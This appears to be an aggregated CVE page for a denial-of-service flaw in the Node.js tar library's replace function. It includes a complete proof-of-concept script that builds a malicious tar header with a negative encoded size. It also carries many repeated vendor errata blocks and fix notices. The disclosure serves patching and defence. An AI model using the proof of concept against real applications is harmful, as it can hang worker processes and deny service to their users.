CVE-2026-59874

Summary

A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.

Details

The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.

For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.

This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.

PoC

Save as poc.mjs in a project with the vulnerable package installed and run:

node poc.mjs

import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'

const oct = (b, n, off, len) =>
  b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')

const badHeader = () => {
  const h = Buffer.alloc(512)

  h.write('x', 0)
  oct(h, 0o644, 100, 8)
  oct(h, 0, 108, 8)
  oct(h, 0, 116, 8)

  // base-256 encoded -512 in the size field
  Buffer.alloc(10, 0xff).copy(h, 124)
  h[134] = 0xfe
  h[135] = 0x00

  oct(h, 0, 136, 12)
  h.fill(0x20, 148, 156)
  h[156] = 0x30
  h.write('ustar\0' + '00', 257, 8, 'binary')

  let sum = 0
  for (const c of h) sum += c
  h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')

  return h
}

const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')

fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')

const r = spawnSync(
  process.execPath,
  [
    '--input-type=module',
    '-e',
    `
      import * as tar from 'tar'
      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
      console.log('completed')
    `,
  ],
  { timeout: 20_000 }
)

console.log(r.error?.code === 'ETIMEDOUT')

// Output: true

Impact

An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)

• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)

• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)

• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)

• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)

• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)

• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)

• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)

• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a platform built on Chrome's JavaScript runtime \ for easily building fast, scalable network applications. \ Node.js uses an event-driven, non-blocking I/O model that \ makes it lightweight and efficient, perfect for data-intensive \ real-time applications that run across distributed devices.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)

• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)

• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a platform built on Chrome's JavaScript runtime for easily building fast, scalable network applications. Node.js uses an event-driven, non-blocking I/O model that makes it lightweight and efficient, perfect for data-intensive real-time applications that run across distributed devices.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)

• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)

• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.18, tar.replace accepts a checksum-valid tar header with a negative base-256 encoded entry size, causing the archive scanner to make no progress while repeatedly parsing the same header. This issue is fixed in version 7.5.18.

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)
• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)
• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)
• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)
• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)
• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)
• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)
• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)
• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a platform built on Chrome's JavaScript runtime \ for easily building fast, scalable network applications. \ Node.js uses an event-driven, non-blocking I/O model that \ makes it lightweight and efficient, perfect for data-intensive \ real-time applications that run across distributed devices.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)
• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)
• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Node.js is a platform built on Chrome's JavaScript runtime for easily building fast, scalable network applications. Node.js uses an event-driven, non-blocking I/O model that makes it lightweight and efficient, perfect for data-intensive real-time applications that run across distributed devices.

Security Fix(es):

• brace-expansion: Brace-expansion: Denial of Service due to exponential-time complexity (CVE-2026-13149)
• tar: Node-tar: Denial of Service via malformed tar archive header (CVE-2026-59874)
• tar: node-tar: Denial of Service via crafted gzip bomb (CVE-2026-59873)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

TuxCare rebuilt tar to address 4 CVEs. Fixed in 6.2.1-tuxcare.4.

• CVE-2026-14257: bound the total number of characters brace expansion may accumulate in the bundled npm brace-expansion copies, so chained brace groups can no longer grow every result until the process dies with an uncatchable out-of-memory error
• CVE-2026-59874: refuse a negative entry size in the bundled npm node-tar copy, both when decoding a base-256 header field and when parsing a pax size record, so a crafted archive can no longer stall tar.replace on a scan that never advances past the same header
• CVE-2026-69152: charge the intermediate arrays built for comma alternatives and padded sequences against that same length budget, closing a bypass that exhausted memory before the CVE-2026-14257 bound could take effect

• CVE-2026-14257: bound the total number of characters brace expansion may accumulate in the bundled npm brace-expansion copies, so chained brace groups can no longer grow every result until the process dies with an uncatchable out-of-memory error
• CVE-2026-59874: refuse a negative entry size in the bundled npm node-tar copy, both when decoding a base-256 header field and when parsing a pax size record, so a crafted archive can no longer stall tar.replace on a scan that never advances past the same header
• CVE-2026-69152: charge the intermediate arrays built for comma alternatives and padded sequences against that same length budget, closing a bypass that exhausted memory before the CVE-2026-14257 bound could take effect

TuxCare rebuilt tar to address 8 CVEs. Fixed in 6.2.0-tuxcare.5.

TuxCare rebuilt tar to address 12 CVEs. Fixed in 6.0.2-tuxcare.6.

TuxCare rebuilt tar to address 2 CVEs. Fixed in 7.5.17-tuxcare.1.

TuxCare rebuilt tar to address 6 CVEs. Fixed in 6.1.0-tuxcare.3.

TuxCare rebuilt tar to address 5 CVEs. Fixed in 6.1.6-tuxcare.2.

TuxCare rebuilt tar to address 11 CVEs. Fixed in 4.4.19-tuxcare.5.

Root has patched CVE-2026-59874 in the tar package for Root:npm. Multiple fixed versions available.